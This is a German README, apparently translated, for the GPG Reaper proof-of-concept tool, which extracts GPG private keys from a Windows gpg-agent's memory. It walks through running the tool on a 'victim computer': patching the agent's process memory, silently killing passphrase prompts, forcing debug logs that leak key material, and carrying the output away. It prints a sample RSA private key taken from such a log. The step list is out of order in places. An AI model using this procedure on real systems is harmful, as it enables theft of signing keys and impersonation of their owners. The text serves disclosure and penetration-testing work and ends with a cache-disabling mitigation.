
GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen
TL;DR: GPG-Private Keys aus dem gpg-agent-Cache/Speicher erlangen/stehlen/wiederherstellen
Dieser POC demonstriert eine Methode, um GPG-Private Keys aus dem gpg-agent-Speicher unter Windows zu erlangen.
Normalerweise sollte dies nur innerhalb eines Zeitrahmens von 10 Minuten möglich sein (Wert von --default-cache-ttl).
Leider wird die Funktion housekeeping() (die für die Cache-Bereinigung zuständig ist) nur ausgeführt, wenn Sie GPG verwenden (dort gibt es keinen Timer).
Das bedeutet, dass bei normalem GPG-Einsatz, wie: Sie signieren eine Datei, schließen dann die GUI und erledigen andere Aufgaben, Ihr Passwort immer noch im gpg-agent-Speicher ist (selbst wenn die TTL abgelaufen ist).
Ein Angreifer, der Zugriff auf Ihre aktuelle Sitzung hat, kann dies zum Stehlen des Private Keys nutzen, ohne Ihre Passphrase zu kennen.
HINWEIS: GPG wird den Caching-Mechanismus in Version 2.2.6 ändern. Siehe Commit und Issue.

pip install PGPy
Wenn Sie folgendes erhalten:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
dann:
pip install six==1.10.0
Installieren Sie Gpg4Win 3.0.3
Öffnen Sie die Befehlszeile und starten Sie den Agent mit einer Cache-Zeit von 2 Sekunden:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2



Wiederholen Sie Schritt 4-5. Jedes Mal erscheint pinentry, weil unser 2-Sekunden-Cache abgelaufen ist
Führen Sie GPG Reaper aus
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Sie werden etwas sehen wie:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Wie Sie sehen können, haben wir den Schlüssel ausgelesen. Dies ist möglich, weil wir die housekeeping-Funktion genoppt haben.
python gpg_reaper.py .\testme.txt
Der Private Key wird in die Datei ausgegeben:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent ist ein Daemon zur Verwaltung von Private Keys unabhängig von einem Protokoll.
Die GUI-Schnittstelle kommuniziert mit dem Agent über das Assuan-Protokoll.
Standardmäßig cached der Agent Ihre Anmeldedaten.
Die Option --default-cache-ttl n setzt die Gültigkeitsdauer eines Cache-Eintrags auf n Sekunden.
Der Standardwert ist 600 Sekunden. Jedes Mal, wenn auf einen Cache-Eintrag zugegriffen wird, wird sein Timer zurückgesetzt.
Unter Windows sieht der Signiervorgang wie folgt aus:

Der entscheidende Teil ist die Funktion housekeeping(), die für das Entfernen abgelaufener Anmeldedaten aus dem Speicher verantwortlich ist.
Aber es gibt ein Problem: Diese Funktion wird nur an zwei Stellen ausgeführt (innerhalb von agent_put_cache und agent_get_cache).
Das bedeutet, dass gecachte Anmeldedaten NICHT aus dem Speicher entfernt werden, bis einige gpg-agent-Befehle ausgeführt werden, die agent_put_cache oder agent_get_cache oder agent_flush_cache verwenden.
Auf dem Opfercomputer:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Übertragen Sie out.txt auf Ihren Rechner und stellen Sie die Private Keys wieder her:
gpg_reaper.py out.txt
Die Private Keys werden in separate Dateien ausgegeben.
Wenn GPG außerhalb der Standardverzeichnisse installiert ist:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Wenn Sie keine Debug-Meldungen wünschen:
Gpg-Reaper -Verbose $false
Nehmen wir an, Sie führen Penetrationstests durch und erhalten eine Shell auf einem Rechner mit installiertem GPG.
Wenn Sie Glück haben und der Benutzer GPG kürzlich verwendet hat und der Cache nicht abgelaufen ist, können Sie:
Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Leider funktioniert dies nicht wie erwartet und fragt nach dem Passwort.
Warum? Weil die Funktion cmd_export_key() agent_key_from_file() mit dem Flag CACHE_MODE_IGNORE ausführt, was bedeutet, dass der Cache nicht verwendet wird und der Benutzer jedes Mal nach der Passphrase gefragt wird.
Wir wissen, dass es nicht möglich ist, einen GPG-Key über den gpg-agent zu exportieren, ohne das Passwort zu kennen.
Aber es gibt eine kleine Besonderheit. Der Agent hat einige Optionen verfügbar:
--debug-levelWählen Sie die Debug-Stufe zur Untersuchung von Problemen. level kann ein numerischer Wert oder ein Schlüsselwort sein:
guru - Alle Debug-Meldungen, die Sie erhalten können.
--log-file fileHängen Sie alle Logging-Ausgaben an eine Datei an. Dies ist sehr hilfreich, um zu sehen, was der Agent tatsächlich tut.
Lassen Sie uns den Agent mit gpg-agent.exe --daemon --debug-level guru --log-file out.txt ausführen und eine Datei signieren.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
Es sieht so aus, als ob der guru-Modus die Zahlen n, e, d, p, q und u in die Logdatei schreibt. Mit diesem Wissen können wir den öffentlichen und privaten Schlüssel berechnen.
Intern wird der Wert von skey von gcry_log_debugsxp() ausgegeben, wenn DBG_CRYPTO gesetzt ist:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
Wenn Sie sich gegen diesen Angriff schützen möchten, müssen Sie den Cache deaktivieren.
Erstellen/Ändern Sie: %APPDATA%\gnupg\gpg-agent.conf:
default-cache-ttl 0
max-cache-ttl 0
Überprüfen Sie, ob die Pfade zu gpg-connect-agent.exe, gpg-agent.exe und gpg.exe korrekt sind
Überprüfen Sie, ob die sha256 von gpg-agent.exe unterstützt wird
Überprüfen Sie, ob der Prozess gpg-agent.exe läuft und öffnen Sie ihn mit OpenProcess
Start-Job, das alle pinentry-Prozessinstanzen beendet. Wenn wir also nach einem Key fragen, der nicht im Cache ist, können wir ohne Benutzerinteraktion fortfahren
Lesen Sie die ursprünglichen Bytes von housekeeping() und agent_pksign_do(), um sie nach der Skriptausführung wiederherstellen zu können
NOPpen Sie die housekeeping()-Funktion, damit sie abgelaufene Cache-Einträge nicht aus dem Speicher entfernt


gpg-connect-agent.exe aus:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Überprüfen Sie, ob die Logdatei die Zahlen n, e, d, p, q und u enthält. Wenn ja, geben Sie sie an den Benutzer zurück.
Wiederholen Sie die Punkte 8-11 für jeden Key aus Punkt 7
Mit der Bibliothek PGPy können wir nun den Private Key wiederherstellen. Siehe: gpg_reaper.py
Gpg-agent wird ohne ASLR kompiliert, daher verwende ich einige festcodierte Offsets im PowerShell-Skript. Aus diesem Grund werden nur die angegebenen Versionen unterstützt:
| Version | gpg-agent.exe sha256 |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
Weil diese Datei auf den meisten modernen Windows-Systemen ohne externe Abhängigkeiten ausgeführt werden kann.
gpg-connect-agent.exe, gpg-agent.exe oder gpg.exe existiert nicht im Standardverzeichnis.
Sie können versuchen, einen benutzerdefinierten Speicherort anzugeben mit:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe läuft auf diesem System nicht, daher können wir den Private Key nicht wiederherstellen.
Derzeit unterstützt dieses Skript nur bestimmte Versionen
Es ist kein gecachter Key im Speicher vorhanden, daher können wir den Private Key nicht wiederherstellen.
Sensen-Symbol erstellt von Freepik von www.flaticon.com.
Schriftart Solstice Of Suffering von GraveTech.
Holen Sie sich die Liste aller verfügbaren Private Keys mit gpg.exe --list-secret-keys --with-keygrip
Holen Sie sich den öffentlichen Schlüssel mit gpg.exe --armor --export %key_fingerprint%
Allokieren Sie Speicher innerhalb von gpg-agent.exe mit VirtualAllocEx. Speichern Sie dort den Pfad zu unserer Logdatei und rufen Sie log_set_file() auf.
Ersetzen Sie if (DBG_CRYPTO) mit einem Aufruf unseres allokierten Speichers aus Punkt 9 innerhalb von agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |